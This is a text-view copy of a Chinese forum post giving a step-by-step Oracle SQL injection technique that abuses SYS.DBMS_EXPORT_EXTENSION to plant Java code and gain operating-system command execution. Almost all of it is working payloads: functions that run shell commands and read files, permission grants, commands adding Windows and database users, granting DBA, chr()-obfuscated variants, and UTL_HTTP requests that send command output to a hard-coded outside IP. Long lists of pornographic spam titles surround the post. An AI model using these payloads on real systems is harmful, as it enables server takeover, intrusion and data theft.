九九99在线视频-九九99香蕉在线视频美国毛片-九九99热久久精品在线9-九九99热-九九99久久精品在免费线bt-九九99久久

以文本方式查看主題

-  曙海教育集團論壇  (http://m.adgdgn.cn/bbs/index.asp)
--  Oracle數據庫  (http://m.adgdgn.cn/bbs/list.asp?boardid=65)
----  犀利的 oracle 注入技術  (http://m.adgdgn.cn/bbs/dispbbs.asp?boardid=65&id=2503)

--  作者:wangxinxin
--  發布時間:2010-12-11 11:04:20
--  犀利的 oracle 注入技術
介紹一個在web上通過oracle注入直接取得主機cmdshell的方法。

以下的演示都是在web上的sql plus執行的,在web注入時 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and \'1\'<>\'a\'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" \'a\'|| "是為了讓語句返回true值)

語句有點長,可能要用post提交。

以下是各個步驟:
1.創建包
通過注入 SYS.DBMS_EXPORT_EXTENSION 函數,在oracle上創建Java包LinxUtil,里面兩個函數,runCMD用于執行系統命令,readFile用于讀取文件:
/xxx.jsp?id=1 and \'1\'<>\'a\'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
)

------------------------
如果url有長度限制,可以把readFile()函數塊去掉,即:
/xxx.jsp?id=1 and \'1\'<>\'a\'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
)
同時把后面步驟 提到的 對readFile()的處理語句去掉。
------------------------------
2.賦Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'begin dbms_java.grant_permission( \'\'\'\'\'\'\'\'PUBLIC\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'SYS:java.io.FilePermission\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'<<ALL FILES>>\'\'\'\'\'\'\'\', \'\'\'\'\'\'\'\'execute\'\'\'\'\'\'\'\' );end;\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

3.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name \'\'\'\'\'\'\'\'LinxUtil.runCMD(java.lang.String) return String\'\'\'\'\'\'\'\';   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name \'\'\'\'\'\'\'\'LinxUtil.readFile(java.lang.String) return String\'\'\'\'\'\'\'\';   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

4.賦public執行函數的權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on LinxRunCMD to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on LinxReadFile to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

5.測試上面的幾步是否成功

and \'1\'<>\'11\'||(
select  OBJECT_ID from all_objects where  object_name =\'LINXRUNCMD\'
)
and \'1\'<>(
select  OBJECT_ID from all_objects where  object_name =\'LINXREADFILE\'
)
6.執行命令:

/xxx.jsp?id=1 and \'1\'<>(
select  sys.LinxRunCMD(\'cmd /c net user linx /add\') from dual
)

/xxx.jsp?id=1 and \'1\'<>(
select  sys.LinxReadFile(\'c:/boot.ini\') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and \'1\'<>"。
如果要查看運行結果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD(\'cmd /c net user linx /add\') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and \'1\'<>(
SELECT UTL_HTTP.request(\'http://211.71.147.3/record.php?a=LinxRunCMD:\'||REPLACE(REPLACE(sys.LinxRunCMD(\'cmd /c net user aaa /del\'),\' \',\'%20\'),\'\\n\',\'%0A\')) FROM dual
)

/xxx.jsp?id=1 and \'1\'<>(
SELECT UTL_HTTP.request(\'http://211.71.147.3/record.php?a=LinxRunCMD:\'||REPLACE(REPLACE(sys.LinxReadFile(\'c:/boot.ini\'),\' \',\'%20\'),\'\\n\',\'%0A\')) FROM dual
)
注意:用UTL_HTTP.request時,要用 REPLACE() 把空格、換行符給替換掉,否則會無法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內部變化
通過以下命令可以查看all_objects表達改變:
select  * from all_objects where  object_name like \'%LINX%\' or  object_name like \'%Linx%\'
7.刪除我們創建的函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
drop function LinxRunCMD  \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual



====================================================
全文結束。謹以此文贈與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測試漏洞的另一方法:
創建oracle帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
CREATE USER linxsql IDENTIFIED BY linxsql\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username=\'LINXSQL\'
)
給linxsql連接權限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
GRANT CONNECT TO linxsql\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
刪除帳號:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
drop user LINXSQL\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual

======================
以下方法創建一個可以執行多語句的函數Linx_query(),執行成功的話返回數值"1",但權限是繼承的,可能僅僅是public權限,作用似乎不大,真的要用到話可以考慮grant dba to 當前的User:

1.jsp?id=1 and \'1\'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
) and ...

1.jsp?id=1 and \'1\'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'grant all on Linx_query to public\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual
) and ...
1.jsp?id=1 and \'1\'<>(
SELECT sys.Linx_Query(\'SELECT 14554 FROM DUAL\') FROM DUAL
) and ...

1.jsp?id=1 and \'1\'<>(
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
select 1 from dual
\'\'; commit; end;\') from dual
) and ...

多語句:
SELECT sys.Linx_Query(\'declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;\') from dual

創建用戶(除非當前用戶有system權限,否則無法成功):
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
\'\'; commit; end;\') from dual


================
以下的方法是先建立函數Linx_Query(),再建立 RunCMD2()
1.創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   \'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual;

如果有權限,以下語句應該允許正常
select sys.linx_query(\'select 1 from dual\') from dual;
不然的話運行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(\'FOO\',\'BAR\',\'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE \'\'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE \'\'\'\'
grant dba to 當前的User\'\'\'\';END;\'\';END;--\',\'SYS\',0,\'1\',0) from dual


2.創建包
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\\n";return str;}}\'\'; commit; end;\') from dual
3.創建函數
SELECT sys.Linx_Query(\'declare pragma
autonomous_transaction; begin execute immediate \'\'
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name \'\'\'\'LinxUtil2.RunCMD(java.lang.String) return String\'\'\'\';\'\'; commit; end;\') from dual
4.給權限
給用戶SYSTEM執行權限:
SELECT sys.Linx_Query(\'declare pragma autonomous_transaction;begin dbms_java.grant_permission( \'\'SYSTEM\'\', \'\'SYS:java.io.FilePermission\'\', \'\'<<ALL FILES>>\'\', \'\'execute\'\' );end;\') from dual

5.執行函數
select RunCMD2(\'cmd /c dir\') from dual

主站蜘蛛池模板: 欧美乱妇高清无乱码在线观看 | 毛茸茸熟妇丰满张开腿呻吟性视频 | 一本色道综合久久欧美日韩精品 | 中文字幕国产视频 | 综合色影院 | 国产三级在线视频 一区二区三区 | 国产天堂久久 | 99久精品| 在线综合亚洲欧美网站 | 伊人久久五月丁香综合中文亚洲 | 亚洲国产成人va在线观看天堂 | 少妇午夜啪爽嗷嗷叫视频 | 欧美一二三四成人免费视频 | 在线青草 | 公妇乱淫真实生活 | 国产精品国产三级国产aⅴ 国产精品国产三级国产aⅴ9色 | 肥臀浪妇太爽了快点再快点 | 欧美成人性生活 | 亚洲一本在线 | 中文字幕日韩精品亚洲一区小树林 | 国产又粗又猛又爽又黄的视频免费 | 亚洲成av人综合在线观看 | 欧美精品日韩 | 九九精品在线播放 | 嫩草网站入口一区二区 | 国产又黄又爽又刺激的免费网址 | 免费se99se| 欧美国产日韩久久 | 越南毛茸茸的少妇 | 开心激情婷婷 | 婷婷导航 | 欧美aaaaaaaaa| 日韩成人在线观看视频 | 欧美成人精品欧美一级乱黄 | 成年人在线观看视频网站 | 色啊色| 国产一线二线三线在线观看 | 99久久久久国产精品免费人果冻 | 丰满岳乱妇在线观看视频国产 | 国产情侣呻吟对白高潮 | 日本高清在线观看 | 国产成人欧美一区二区三区一色天 | 欧美一区二区三区成人精品 | 日本中文在线播放 | 亚洲在线成人 | 一区二区国产精品精华液 | 国产精品久久久久久久久久东京 | 国产视频一区在线观看 | 女性爱爱视频 | 亚洲中文字幕无码中字 | 中文字幕日本 | 色屁屁xxxxⅹ在线视频 | 97国产在线观看 | 与子敌伦刺激对白播放 | 日韩123区| 不卡一区二区在线 | 婷婷丁香激情 | 一区二区亚洲视频 | 日韩有码在线视频 | 青青草dvd | 激情综合色五月丁香六月亚洲 | 小丽的性荡生活 | 国产aⅴ激情无码久久久无码 | 婷婷激情在线 | 亚洲天堂日韩精品 | 夜夜躁很很躁日日躁麻豆 | 日本少妇搡bbbb搡bbb | 青青久久国产 | 在线播放网址 | 秋霞中文字幕 | 久久精品在这里 | 国产又白又嫩又爽又黄 | 狠狠操中文字幕 | 国产视频手机在线播放 | 日本三级全黄三级a | 婷婷亚洲视频 | 中国少妇xxxx做受自拍 | 91精品久久久久久久久中文字幕 | 红杏aⅴ成人免费视频 | 国产女人18毛片水真多 | 免费黄色的网站 | 日本黄色大片免费 | 国产极品jk白丝喷白浆图片 | 韩国19禁无遮挡啪啪无码网站 | 老司机精品福利视频 | 狠狠操夜夜操 | 国产精品嫩| 亚洲女初尝黑人巨 | 成熟的女同志hd | 中文字幕亚洲综合久久 | 欧美三级国产 | 亚洲成色在线综合网站 | 午夜成人在线视频 | 狠狠色噜噜狠狠狠狠米奇777 | 综合久久影院 | 国产r级在线观看 | 青青草原成人网 | 男人扒开添女人下部免费视频 | 婷婷开心激情网 | 美丽的熟妇中文字幕 | 日韩视频在线观看视频 | 一级做a爰片久久毛片潮喷 一级做a爰片欧美激情床 | 国产jizz视频全部免费软件 | 国产全肉乱妇杂乱 | 99国产精品99久久久久久粉嫩 | 日本天天色 | 一级视频片 | 国产偷v | 久久久亚洲精品一区二区三区浴池 | 嫩草影院永久入口 | 91成人福利在线 | 国产精品对白 | 成人在线观看黄色 | 国产精品自拍在线 | 国产成人亚洲精品 | 天堂在/线中文在线资源 官网 | 99在线精品视频 | 日本肉体xxxⅹ裸体交 | 欧美疯狂xxxx乱大交 | 无码人妻精品一区二区三区夜夜嗨 | www视频在线| 少妇与少年理论片午夜 | 国内成人精品2018免费看 | 欧美透逼视频 | 色porny真实丨海角社区 | 亚洲精品乱码久久久久久麻豆不卡 | 观看av在线 | 国产精品毛片a∨一区二区三区 | 污污视频网站免费观看 | 两个黑人大战嫩白金发美女 | 日韩大片免费 | 免费看成人哺乳视频网站 | 野草社区在线观看 | 男操女视频网站 | 国产热re99久久6国产精品 | 91在线最新 | 国产午夜网站 | av夜夜| 日韩一区二区三区av | 久久婷婷香蕉热狠狠综合 | 99国产精品久久久久久久成人热 | 国产人碰人摸人爱视频 | 狠狠色婷婷久久一区二区 | 国产日韩欧美日韩 | 国产亚洲xxxx在线播放 | 高清国产在线观看 | 久久久视频6r | 欧美一区二区三区四区五区 | 印度女人狂野牲交 | 国产久热精品无码激情 | 一二三区精品 | 天天射综合 | 超碰最新网址 | 影音先锋中文字幕一区 | 爆爽久久久一区二区又大又黄又嫩 | 国产精品久久久久9999小说 | 成人在线免费小视频 | sm捆绑一区二区三区 | 高清欧美精品xxxxx在线看 | 成年无码av片在线 | 日韩成人无码中文字幕 | 天天看片黄色 | 国产成年人免费视频 | 日日噜狠狠噜天天噜av | 亚洲看| 激情综合激情五月 | 久久免费看少妇高潮v片特黄 | 亚洲中文字幕久久精品无码喷水 | 亚洲视频一区二区在线观看 | 日韩av高清在线观看 | 亚洲a∨国产av综合av网站 | 国产精品视频一区二区噜噜 | 久久亚洲精品国产精品紫薇 | 日本123区 | av丁香 | 青青操在线观看视频 | 97精品自拍| 精品国产乱码久久久久久影片 | 日本丰满的人妻hd高清在线 | 色婷婷美国农夫综合激情亚洲 | www日本tv| 天天看毛片| 全程穿着高跟鞋做爰av | 亚洲一级理论片 | 国产淫语对白粗口video | 黑人巨大精品欧美一区二区奶水 | 亚洲成人免费网站 | 亚洲区免费 | 亚洲中文字幕无码爆乳av | 国产麻豆精品久久一二三 | 99精品久久久久久久久久综合 | 亚洲天堂av在线播放 | 香蕉久久av一区二区三区 | 一级黄色免费看 | 欧美高清久久 | 国产天码视频网站 | 澳门av网站 | 少妇欧美激情一区二区三区 | 在线精品亚洲观看不卡欧 | 欧美福利一区二区 | 欧美色图偷窥自拍 | 国产成人久久av免费高清蜜臀 | 真人作爱90分钟免费看视频 | 九七影院在线观看免费观看电视 | 国产最猛黑人xxxxx猛交 | 三级网站免费播放 | 久久99久久99久久 | 日本xx片 | 粉嫩av一区二区三区免费看 | 免费看三级毛片 | 亚洲 自拍 都市 欧美 小说 | 老头糟蹋新婚少妇系列小说 | 亚洲自拍偷拍另类 | 免费一级全黄少妇性色生活片 | 婷婷射图 | 伊人久久香 | 偷拍青青草 | wwwzzzyyy成人免费 | 日韩激情在线观看 | 人妻少妇一区二区三区 | 国产影片中文字幕 | 91超碰caoporm国产香蕉 | 日韩午夜一区二区在线精品三级伦理 | 国色天香成人网 | 午夜资源 | 国产日韩亚洲 | 国产精品天天狠天天看 | 五月婷婷六月合 | 日韩精品久久久久久免费 | 国产精品a无线 | 国模妙妙超大尺度啪啪人体 | 国产日韩中文字幕 | www.av在线播放 | 成年午夜精品久久久精品 | 亚洲品牌自拍一品区9 | 艳妇乳肉豪妇荡乳av | 日韩人妻少妇一区二区三区 | 国产精品密蕾丝袜 | 久久国产成人午夜av影院武则天 | 天堂俺去俺来也www久久婷婷 | 亚洲欧美一区二区成人片 | 青青免费视频在线观看 | 久久久亚洲 | 69国产| 中文字幕人妻少妇引诱隔壁 | 日韩中文人妻无码不卡 | 超污视频在线观看 | 欧洲美色妇ⅹxxxxx欧美 | 青青草网址 | 免费观看一区二区三区视频 | 亚洲精品国偷拍自产在线观看蜜臀 | 久久婷婷国产综合尤物精品 | 久久狠狠高潮亚洲精品 | 一本之道久久 | 欧美日韩在线一区二区三区 | 国产精品宾馆在线精品酒店 | 女人被弄到高潮的免费视频 | 日本视频网站在线观看 | 国产一区二区三区又黄又爽 | 午夜天堂视频 | 亚洲欧洲精品a片久久99 | 亚色在线视频 | 午夜午夜精品一区二区三区文 | 国产亚洲日韩欧美一区二区三区 | 天摸夜夜添久久精品亚洲人成 | 108种啪姿势大全动态图 | 亚洲日韩中文第一精品 | аⅴ资源中文在线天堂 | 国产精品久久久久久久新郎 | 91午夜在线 | 亚洲一区二区三区四区的 | 国产精品老牛影院99av | av国産精品毛片一区二区三区 | 中国一级特黄真人毛片免费观看 | 激情啪啪网 | 噼里啪啦免费观看高清动漫 | 亚洲欧美国产一区二区三区 | 久热只有精品 | 国产cdts系列另类在线观看 | 久久成年片色大黄全免费网站 | 伊人久久大香线蕉综合四虎小说 | 天天干少妇 | 中国偷拍毛茸茸肥老熟妇 | 性欧美视频 | 国产黄色片视频 | 久久国产精品成人免费 | 激情免费网站 | 久久中文字幕一区二区 | 88欧产日产国产精品 | 日韩一级片免费 | 国产精品久久毛片av大全日韩 | 91极品身材尤物theporn | www国产高清 | 国产精品一品二区三区的使用体验 | 国产黑丝91 | 久久精品日日躁夜夜躁 | 范冰冰一级做a爰片久久毛片 | 污网站免费观看 | 日韩特黄一级欧美毛片特黄 | 欧美一级欧美三级 | 色呦在线 | 伦理东北丰满少妇 | 国产jjizz女人多水喷水 | 久久久资源| 人妻少妇一区二区三区 | 无人区码一码二码w358cc | 亚洲婷婷综合久久一本伊一区 | 欧美v国产v亚洲v日韩九九 | 日本精品视频一区二区三区 | 视频一区中文字幕 | 免费网站污| 日韩中文字幕视频在线观看 | 欧美一区二区福利视频 | 久久三级 | 免费看美女隐私网站 | 欧美一级黄色大片 | 女国产精品视频一区二区三区 | a级毛片,黄,免费观看 m | 熟女人妻av五十路六十路 | 久久久久琪琪去精品色无码 | 一二三四视频社区在线 | 国产在线精品成人免费怡红院 | 91精品国产一区二区三区 | 欧美吻胸吃奶大尺度 | 四虎5151久久欧美毛片 | 色综合中文综合网 | 中文字幕日本六区小电影 | 亚洲欧美精品在线观看 | 亚洲另类色综合网站 | 91av观看 | 波多野结衣在线观看一区二区三区 | jzjzz成人免费视频 | 激情一区二区三区 | 少妇在线视频 | 日韩成人精品视频 | 七月色| 在线精品亚洲观看不卡欧 | 超碰在线中文字幕 | 欧美国产日韩久久 | 亚洲中文字幕久久精品无码喷水 | 欧美丰满熟妇bbb久久久 | 少妇bbbb做爰 | 亚洲国产精品丝袜国产自在线 | 欧美人与zoxxxx视频 | jav成人免费视频 | 亚欧av在线播放 | 国产乱码在线 | 午夜偷拍福利视频 | 男女无遮挡羞羞视频 | 国产午夜精品久久久久久免费视 | 午夜天堂精品久久久久 | 欧美亚洲国产成人一区二区三区 | 国产产无码乱码精品久久鸭 | 欧美国产一二三区 | 色偷偷噜噜噜亚洲男人 | 国产精品免费网站 | 欧美成人h版在线观看 | 成人国产精品久久久网站 | 天天爽夜夜爽国产精品视频 | 欧美成人精品第一区 | 久热最新视频 | 五月婷婷久久草 | 久久久精品久久日韩一区 | 一区二区三区四区在线 | 992tv人人网tv亚洲精品 | 国产伦精品一区二区三区四区视频 | 蜜桃av免费在线观看 | 久久精品国产99国产精品亚洲 | 78亚洲精品久久久蜜桃网 | 久久对白| 久久精品国产一区二区三区不卡 | 无码里番纯肉h在线网站 | 成人在线播放av | 久久久久99一区二区三区 | 亚洲欧美日韩一区二区三区四区 | 性欧美zoo| 91免费网站在线观看 | 一本一道色欲综合网中文字幕 | 中文字幕人成无码人妻综合社区 | 欧美性xxxxxx | 日本少妇做爰大尺裸体视频 | 欧美日韩国产免费一区二区三区 | 无码粉嫩虎白一线天在线观看 | 久久导航精品一区 | 亚洲精品国产精品乱码不99 | 国产成人免费ā片在线观看 | 欧美成人免费一区二区三区 | 97超级碰碰碰| 青春草网站 | 2018天天躁夜夜躁 | 黄污视频在线免费观看 | 精品一区二区三区视频 | 天天射日日 | 欧美国产一二三区 | 欧美在线成人影院 | 国产成人高潮免费观看精品 | 超碰人人在线观看 | 在线aaa | 天天躁日日躁狠狠躁 | 99久久99久久精品国产片果冻 | 欧美色爱综合网 | 97夜夜澡人人爽人人喊中国片 | 国产亚洲视频一区 | 精品国产欧美一区二区三区不卡 | 在线观看视频福利 | 欧美极品jiizzhd欧美爆 | 精品国精品无码自拍自在线 | 国产精品网站视频 | aaa毛片视频| 99国产精品无码 | 国产真人真事毛片 | 午夜成年人 | 天天操夜夜操 | 国产真实的和子乱拍在线观看 | 在线不卡免费av | 丁香五香天堂 | 久草手机在线播放 | 国产精品美女久久久久av超清 | 日日噜噜噜夜夜爽爽狠狠视频寻花 | 日韩精品一区二区三区第95 | 国产精品人人做人人爽人人添 | 四虎视频 | 欧美又粗又长 | 美女啪网站 | 亚洲欧洲av综合色无码 | 午夜精品久久久久久久99樱桃 | 97变态冷s各种国产调教 | 国产成人三级在线播放 | www,xxx69 japan| 国产高潮好爽受不了了夜夜做 | av毛片网站 | 国产美女引诱水电工 | 欧美国产精品久久 | 国自产拍偷拍精品啪啪一区二区 | 久久日本三级韩国三级 | 97超碰资源站 | 绯色av一区二区 | 国产色综合天天综合网 | 五月天国产在线 | 五姑娘影院在线观看免费 | 九色琪琪久久综合网天天 | 91福利视频在线 | 粉嫩av一区二区三区四区免费 | 精品欧美视频 | 亚洲一区二区三区四 | 456欧美成人免费视频 | 一级片a级片 | 用力来高潮了再用力91 | 干一夜综合 | 日韩人妻无码精品系列 | 少妇被躁爽到高潮无码久久 | 久久精品国产精品 | 亚洲手机av| 性xxxxx大片免费视频 | 99久久精品一区二区三区 | 国产动作大片中文字幕 | 午夜精品久久久久久久久久久久 | 欧美国产日韩视频 | 日本伦奷在线播放 | 国产区精品在线 | 亚洲欧美日韩国产精品一区二区 | 中文有码在线观看 | 亚洲国产精品综合久久网络 | 美女视频毛片 | 国产日韩欧美一区二区久久精品 | 欧美精品一区二区三区久久久 | 日韩一级免费片 | 国产精国产精品 | 国产91精品ai换脸 | 狠狠色噜噜狠狠狠888777米奇 | 特级毛片在线观看 | 亚欧在线观看视频 | 国产精品偷伦视频免费观看了 | 女女同性女同一区二区三区九色 | 久久久精品国产sm最大网站 | 国产欧洲精品亚洲午夜拍精品 | 吃奶摸下的激烈视频 | 欧美激情精品久久久久久免费 | 亚洲天堂伊人网 | 国产伦精品一区二区三区综合网 | 国产在线麻豆精品入口 | 成人免费看黄yyy456 | 国产一区欧美 | 亚洲精品久久久久久婷婷 | 久久蜜臀 | www.免费av| 日韩精品人妻中文字幕有码 | 在线观看高清av | 本色视频aaaaaa一级网站 | 女女同性女同区二区国产 | 国产乱妇乱子视频在播放 | 国产女人爽到高潮a毛片 | 久精品在线观看 | www午夜av| 最新免费av网址 | 成人软件在线观看 | 日韩欧美一区二区三区久久婷婷 | 男人全程不遮挡撒尿视频 | 精品国产乱码一区二区三 | 欧美日韩成人在线 | 午夜爱爱免费视频体验区 | 亚洲青涩网 | 每日av在线 | 欧美人妻日韩精品 | 久久青青草视频 | 国产主播大尺度精品福利免费 | 68精品久久久久久欧美 | 青春草av| 视频一区二区在线播放 | 精品无码国产污污污免费 | 